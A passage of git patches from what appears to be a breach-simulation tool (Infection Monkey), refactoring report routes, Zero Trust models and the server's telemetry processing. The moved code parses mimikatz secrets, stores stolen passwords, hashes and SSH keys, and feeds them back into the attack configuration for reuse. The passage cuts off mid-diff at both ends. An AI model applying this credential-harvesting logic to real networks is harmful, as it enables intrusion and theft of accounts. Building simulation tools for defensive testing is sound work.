  • - + 4. Security Report {this.state.completedSteps.report_done ? @@ -199,7 +199,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} - {this.renderRoute('/report/general', )} + {this.renderRoute('/report/security', )} {this.renderRoute('/report/zero_trust', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 12d51202d..72fba9c48 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -119,7 +119,7 @@ class ReportPageComponent extends AuthComponent { getReportFromServer(res) { if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report/general') + this.authFetch('/api/report/security') .then(res => res.json()) .then(res => { this.setState({ From 453c8f9eb4057a8e50b27bd5d91a0da9002c54c8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 13:34:32 +0300 Subject: [PATCH 097/276] Moved ZT models to own folder and added documentation --- .../monkey_island/cc/models/zero_trust/__init__.py | 0 .../cc/models/{ => zero_trust}/event.py | 11 +++++++++++ .../cc/models/{ => zero_trust}/finding.py | 13 ++++++++++++- .../cc/models/{ => zero_trust}/test_event.py | 2 +- .../cc/models/{ => zero_trust}/test_finding.py | 4 ++-- .../cc/services/reporting/test_zeroTrustService.py | 4 +--- .../cc/services/reporting/zero_trust_service.py | 2 +- .../zero_trust_tests/antivirus_existence.py | 4 ++-- monkey/monkey_island/cc/testing/IslandTestCase.py | 2 +- 9 files changed, 31 insertions(+), 11 deletions(-) create mode 100644 monkey/monkey_island/cc/models/zero_trust/__init__.py rename monkey/monkey_island/cc/models/{ => zero_trust}/event.py (55%) rename monkey/monkey_island/cc/models/{ => zero_trust}/finding.py (67%) rename monkey/monkey_island/cc/models/{ => zero_trust}/test_event.py (93%) rename monkey/monkey_island/cc/models/{ => zero_trust}/test_finding.py (92%) diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/models/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py similarity index 55% rename from monkey/monkey_island/cc/models/event.py rename to monkey/monkey_island/cc/models/zero_trust/event.py index 0b8386ff8..01c7f2f47 100644 --- a/monkey/monkey_island/cc/models/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -6,11 +6,22 @@ from common.data.zero_trust_consts import EVENT_TYPES class Event(EmbeddedDocument): + """ + This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to + hold a detail of the Finding. + + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA timestamp = DateTimeField(required=True) title = StringField(required=True) message = StringField() event_type = StringField(required=True, choices=EVENT_TYPES) + # LOGIC @staticmethod def create_event(title, message, event_type): event = Event( diff --git a/monkey/monkey_island/cc/models/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py similarity index 67% rename from monkey/monkey_island/cc/models/finding.py rename to monkey/monkey_island/cc/models/zero_trust/finding.py index 77160534f..51b336eca 100644 --- a/monkey/monkey_island/cc/models/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -1,3 +1,4 @@ +# coding=utf-8 """ Define a Document Schema for Zero Trust findings. """ @@ -7,11 +8,21 @@ from mongoengine import Document, StringField, EmbeddedDocumentListField from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY # Dummy import for mongoengine. # noinspection PyUnresolvedReferences -from event import Event +from monkey_island.cc.models.zero_trust.event import Event class Finding(Document): """ + This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a + specific directive of zero trust is upheld or broken. + + Findings might be + Negative ❌ + Conclusive, meaning that we are sure that something is wrong (example: segmentation issue). + Inconclusive, meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Positive ✔ + Conclusive, meaning that we are sure that something is correct (example: Monkey failed exploiting). + This class has 2 main section: * The schema section defines the DB fields in the document. This is the data of the object. * The logic section defines complex questions we can ask about a single document which are asked multiple diff --git a/monkey/monkey_island/cc/models/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py similarity index 93% rename from monkey/monkey_island/cc/models/test_event.py rename to monkey/monkey_island/cc/models/zero_trust/test_event.py index 3bc201f62..5ab478166 100644 --- a/monkey/monkey_island/cc/models/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,7 +1,7 @@ from mongoengine import ValidationError from common.data.zero_trust_consts import EVENT_TYPE_ISLAND -from monkey_island.cc.models.event import Event +from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/models/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py similarity index 92% rename from monkey/monkey_island/cc/models/test_finding.py rename to monkey/monkey_island/cc/models/zero_trust/test_finding.py index d111b0513..6ac0a9fc8 100644 --- a/monkey/monkey_island/cc/models/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -1,8 +1,8 @@ from mongoengine import ValidationError from common.data.zero_trust_consts import * -from finding import Finding -from monkey_island.cc.models.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py index 6ec2651a0..d3fe01db9 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py +++ b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py @@ -1,9 +1,7 @@ -from unittest import TestCase - from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService from common.data.zero_trust_consts import * -from monkey_island.cc.models.finding import Finding +from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 1aa7291ed..bbe82f049 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -1,6 +1,6 @@ import json from common.data.zero_trust_consts import * -from monkey_island.cc.models.finding import Finding +from monkey_island.cc.models.zero_trust.finding import Finding class ZeroTrustService(object): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index e272ae699..0363a85cb 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -3,8 +3,8 @@ import json from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ STATUS_POSITIVE, STATUS_CONCLUSIVE, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey -from monkey_island.cc.models.event import Event -from monkey_island.cc.models.finding import Finding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ u"AvastSvc.exe", diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index 5b050684c..6bca20f4a 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -1,7 +1,7 @@ import unittest from monkey_island.cc.environment.environment import env from monkey_island.cc.models import Monkey -from monkey_island.cc.models.finding import Finding +from monkey_island.cc.models.zero_trust.finding import Finding class IslandTestCase(unittest.TestCase): From 524859f0110d0c9567b08a6c975954d4edb66148 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 13:35:37 +0300 Subject: [PATCH 098/276] Removed unused exception --- monkey/monkey_island/cc/models/zero_trust/finding.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 51b336eca..1869d6f18 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -51,7 +51,3 @@ class Finding(Document): finding.save() return finding - - -class UnknownTest(Exception): - pass From c1ac45470c29d50c5e9c0d236e290c30b3f6eaa1 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 13:40:35 +0300 Subject: [PATCH 099/276] Added doc to test_event --- monkey/monkey_island/cc/models/zero_trust/test_event.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 5ab478166..2542df8ef 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -11,19 +11,20 @@ class TestEvent(IslandTestCase): self.clean_finding_db() with self.assertRaises(ValidationError): - Event.create_event( + _ = Event.create_event( title=None, # title required message="bla bla", event_type=EVENT_TYPE_ISLAND ) with self.assertRaises(ValidationError): - Event.create_event( + _ = Event.create_event( title="skjs", message="bla bla", event_type="Unknown" # Unknown event type ) + # Assert that nothing is raised. _ = Event.create_event( title="skjs", message="bla bla", From c6da2cce07eadb049c1a27bddaff2076a48c8468 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 14:16:25 +0300 Subject: [PATCH 100/276] Fixed bugs and typos --- monkey/infection_monkey/monkey.py | 2 +- monkey/infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- .../cc/ui/src/components/attack/techniques/T1105.js | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 20dc67538..ce5ab2093 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -184,7 +184,7 @@ class InfectionMonkey(object): (':'+self._default_server_port if self._default_server_port else '')) else: machine.set_default_server(self._default_server) - LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) + LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 2d7cb548e..4b47d8be3 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum of UsageEnum type """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage + self.usage = usage.name def get_data(self): data = super(UsageTelem, self).get_data() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index afe9003b3..8acd48c4b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { scanStatus } from "./Helpers" +import { ScanStatus } from "./Helpers" class T1105 extends React.Component { @@ -25,7 +25,7 @@ class T1105 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status !== scanStatus.UNSCANNED ? + {this.props.data.status !== ScanStatus.UNSCANNED ? Date: Mon, 19 Aug 2019 14:34:21 +0300 Subject: [PATCH 101/276] Moved all processing code into services/telemetry/processing Telemetry class line count: 87. :smile: --- .../monkey_island/cc/resources/telemetry.py | 225 +----------------- .../services/telemetry/processing/__init__.py | 7 + .../services/telemetry/processing/exploit.py | 45 ++++ .../cc/services/telemetry/processing/hooks.py | 14 ++ .../telemetry/processing/post_breach.py | 7 + .../cc/services/telemetry/processing/scan.py | 33 +++ .../cc/services/telemetry/processing/state.py | 9 + .../telemetry/processing/system_info.py | 99 ++++++++ .../services/telemetry/processing/tunnel.py | 10 + .../cc/services/telemetry/processing/utils.py | 13 + 10 files changed, 240 insertions(+), 222 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/__init__.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/exploit.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/hooks.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/post_breach.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/scan.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/state.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/tunnel.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/utils.py diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index fb8116c14..eb53d00c8 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,6 +1,5 @@ import json import logging -import copy from datetime import datetime import dateutil @@ -9,14 +8,9 @@ from flask import request from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services import mimikatz_utils -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.encryptor import encryptor -from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.services.telemetry.processing.hooks import TELEMETRY_CATEGORY_TO_PROCESSING_FUNC from monkey_island.cc.models.monkey import Monkey -from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence __author__ = 'Barak' @@ -58,8 +52,8 @@ class Telemetry(flask_restful.Resource): try: NodeService.update_monkey_modify_time(monkey["_id"]) telem_category = telemetry_json.get('telem_category') - if telem_category in TELEM_PROCESS_DICT: - TELEM_PROCESS_DICT[telem_category](telemetry_json) + if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: + TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) else: logger.info('Got unknown type of telemetry: %s' % telem_category) except Exception as ex: @@ -90,216 +84,3 @@ class Telemetry(flask_restful.Resource): x['data']['credentials'][new_user] = x['data']['credentials'].pop(user) return objects - - @staticmethod - def get_edge_by_scan_or_exploit_telemetry(telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - dst_domain_name = telemetry_json['data']['machine']['domain_name'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - dst_node = NodeService.get_monkey_by_ip(dst_ip) - if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) - - return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) - - @staticmethod - def process_tunnel_telemetry(telemetry_json): - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']['proxy'] is not None: - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") - NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) - else: - NodeService.unset_all_monkey_tunnels(monkey_id) - - @staticmethod - def process_state_telemetry(telemetry_json): - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - if telemetry_json['data']['done']: - NodeService.set_monkey_dead(monkey, True) - else: - NodeService.set_monkey_dead(monkey, False) - - @staticmethod - def process_exploit_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - Telemetry.encrypt_exploit_creds(telemetry_json) - telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) - telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) - - new_exploit = copy.deepcopy(telemetry_json['data']) - - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] - - mongo.db.edge.update( - {'_id': edge['_id']}, - {'$push': {'exploits': new_exploit}} - ) - if new_exploit['result']: - EdgeService.set_edge_exploited(edge) - - for attempt in telemetry_json['data']['attempts']: - if attempt['result']: - found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: - if len(attempt[field]) != 0: - found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge['to'], found_creds) - - @staticmethod - def process_scan_telemetry(telemetry_json): - edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) - data = copy.deepcopy(telemetry_json['data']['machine']) - ip_address = data.pop("ip_addr") - domain_name = data.pop("domain_name") - new_scan = \ - { - "timestamp": telemetry_json["timestamp"], - "data": data - } - mongo.db.edge.update( - {"_id": edge["_id"]}, - {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address, 'domain_name': domain_name}} - ) - - node = mongo.db.node.find_one({"_id": edge["to"]}) - if node is not None: - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) - - @staticmethod - def process_system_info_telemetry(telemetry_json): - Telemetry.process_ssh_info(telemetry_json) - Telemetry.process_credential_info(telemetry_json) - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - Telemetry.process_mimikatz_and_wmi_info(monkey_id, telemetry_json) - Telemetry.process_aws_data(monkey_id, telemetry_json) - test_antivirus_existence(telemetry_json) - - @staticmethod - def process_mimikatz_and_wmi_info(monkey_id, telemetry_json): - users_secrets = {} - if 'mimikatz' in telemetry_json['data']: - users_secrets = mimikatz_utils.MimikatzSecrets. \ - extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) - if 'wmi' in telemetry_json['data']: - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.process_and_handle_wmi_info() - - @staticmethod - def process_aws_data(monkey_id, telemetry_json): - if 'aws' in telemetry_json['data']: - if 'instance_id' in telemetry_json['data']['aws']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) - - @staticmethod - def process_credential_info(telemetry_json): - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] - Telemetry.encrypt_system_info_creds(creds) - Telemetry.add_system_info_creds_to_config(creds) - Telemetry.replace_user_dot_with_comma(creds) - - @staticmethod - def process_ssh_info(telemetry_json): - if 'ssh_info' in telemetry_json['data']: - ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json['data']['network_info']['networks']: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry - Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_ssh_keys_to_config(ssh_info) - - @staticmethod - def add_ip_to_ssh_keys(ip, ssh_info): - for key in ssh_info: - key['ip'] = ip['addr'] - - @staticmethod - def process_trace_telemetry(telemetry_json): - # Nothing to do - return - - @staticmethod - def replace_user_dot_with_comma(creds): - for user in creds: - if -1 != user.find('.'): - new_user = user.replace('.', ',') - creds[new_user] = creds.pop(user) - - @staticmethod - def encrypt_system_info_creds(creds): - for user in creds: - for field in ['password', 'lm_hash', 'ntlm_hash']: - if field in creds[user]: - # this encoding is because we might run into passwords which are not pure ASCII - creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - - @staticmethod - def encrypt_system_info_ssh_keys(ssh_info): - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) - - @staticmethod - def add_system_info_creds_to_config(creds): - for user in creds: - ConfigService.creds_add_username(user) - if 'password' in creds[user]: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user]: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user]: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - - @staticmethod - def add_system_info_ssh_keys_to_config(ssh_info): - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - - @staticmethod - def encrypt_exploit_creds(telemetry_json): - attempts = telemetry_json['data']['attempts'] - for i in range(len(attempts)): - for field in ['password', 'lm_hash', 'ntlm_hash']: - credential = attempts[i][field] - if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential.encode('utf-8')) - - @staticmethod - def process_post_breach_telemetry(telemetry_json): - mongo.db.monkey.update( - {'guid': telemetry_json['monkey_guid']}, - {'$push': {'pba_results': telemetry_json['data']}}) - - @staticmethod - def process_attack_telemetry(telemetry_json): - # No processing required - pass - - -TELEM_PROCESS_DICT = \ - { - 'tunnel': Telemetry.process_tunnel_telemetry, - 'state': Telemetry.process_state_telemetry, - 'exploit': Telemetry.process_exploit_telemetry, - 'scan': Telemetry.process_scan_telemetry, - 'system_info': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry, - 'post_breach': Telemetry.process_post_breach_telemetry, - 'attack': Telemetry.process_attack_telemetry - } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py new file mode 100644 index 000000000..d90143c09 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py @@ -0,0 +1,7 @@ +# import all implemented hooks, for brevity of hooks.py file +from tunnel import process_tunnel_telemetry +from state import process_state_telemetry +from exploit import process_exploit_telemetry +from scan import process_scan_telemetry +from system_info import process_system_info_telemetry +from post_breach import process_post_breach_telemetry diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py new file mode 100644 index 000000000..98ca76248 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -0,0 +1,45 @@ +import copy + +import dateutil + +from monkey_island.cc.database import mongo +from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry + + +def process_exploit_telemetry(telemetry_json): + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + encrypt_exploit_creds(telemetry_json) + telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) + telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) + + new_exploit = copy.deepcopy(telemetry_json['data']) + + new_exploit.pop('machine') + new_exploit['timestamp'] = telemetry_json['timestamp'] + + mongo.db.edge.update( + {'_id': edge['_id']}, + {'$push': {'exploits': new_exploit}} + ) + if new_exploit['result']: + EdgeService.set_edge_exploited(edge) + + for attempt in telemetry_json['data']['attempts']: + if attempt['result']: + found_creds = {'user': attempt['user']} + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: + if len(attempt[field]) != 0: + found_creds[field] = attempt[field] + NodeService.add_credentials_to_node(edge['to'], found_creds) + + +def encrypt_exploit_creds(telemetry_json): + attempts = telemetry_json['data']['attempts'] + for i in range(len(attempts)): + for field in ['password', 'lm_hash', 'ntlm_hash']: + credential = attempts[i][field] + if len(credential) > 0: + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/hooks.py b/monkey/monkey_island/cc/services/telemetry/processing/hooks.py new file mode 100644 index 000000000..125bb8b53 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/hooks.py @@ -0,0 +1,14 @@ +from monkey_island.cc.services.telemetry.processing import * + +TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ + { + 'tunnel': process_tunnel_telemetry, + 'state': process_state_telemetry, + 'exploit': process_exploit_telemetry, + 'scan': process_scan_telemetry, + 'system_info': process_system_info_telemetry, + 'post_breach': process_post_breach_telemetry, + # `lambda *args, **kwargs: None` is a no-op. + 'trace': lambda *args, **kwargs: None, + 'attack': lambda *args, **kwargs: None, + } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py new file mode 100644 index 000000000..b086d5ff4 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -0,0 +1,7 @@ +from monkey_island.cc.database import mongo + + +def process_post_breach_telemetry(telemetry_json): + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'pba_results': telemetry_json['data']}}) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py new file mode 100644 index 000000000..4e34b9a19 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -0,0 +1,33 @@ +import copy + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry + + +def process_scan_telemetry(telemetry_json): + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + data = copy.deepcopy(telemetry_json['data']['machine']) + ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") + new_scan = \ + { + "timestamp": telemetry_json["timestamp"], + "data": data + } + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$push": {"scans": new_scan}, + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} + ) + + node = mongo.db.node.find_one({"_id": edge["to"]}) + if node is not None: + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py new file mode 100644 index 000000000..e71abacd7 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -0,0 +1,9 @@ +from monkey_island.cc.services.node import NodeService + + +def process_state_telemetry(telemetry_json): + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + if telemetry_json['data']['done']: + NodeService.set_monkey_dead(monkey, True) + else: + NodeService.set_monkey_dead(monkey, False) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py new file mode 100644 index 000000000..ebf11c219 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -0,0 +1,99 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services import mimikatz_utils +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence +from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.encryptor import encryptor + + +def process_system_info_telemetry(telemetry_json): + process_ssh_info(telemetry_json) + process_credential_info(telemetry_json) + process_mimikatz_and_wmi_info(telemetry_json) + process_aws_data(telemetry_json) + test_antivirus_existence(telemetry_json) + + +def process_ssh_info(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + encrypt_system_info_ssh_keys(ssh_info) + if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry + add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + add_system_info_ssh_keys_to_config(ssh_info) + + +def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) + + +def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + + +def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + +def process_credential_info(telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + encrypt_system_info_creds(creds) + add_system_info_creds_to_config(creds) + replace_user_dot_with_comma(creds) + + +def replace_user_dot_with_comma(creds): + for user in creds: + if -1 != user.find('.'): + new_user = user.replace('.', ',') + creds[new_user] = creds.pop(user) + + +def add_system_info_creds_to_config(creds): + for user in creds: + ConfigService.creds_add_username(user) + if 'password' in creds[user]: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user]: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user]: + 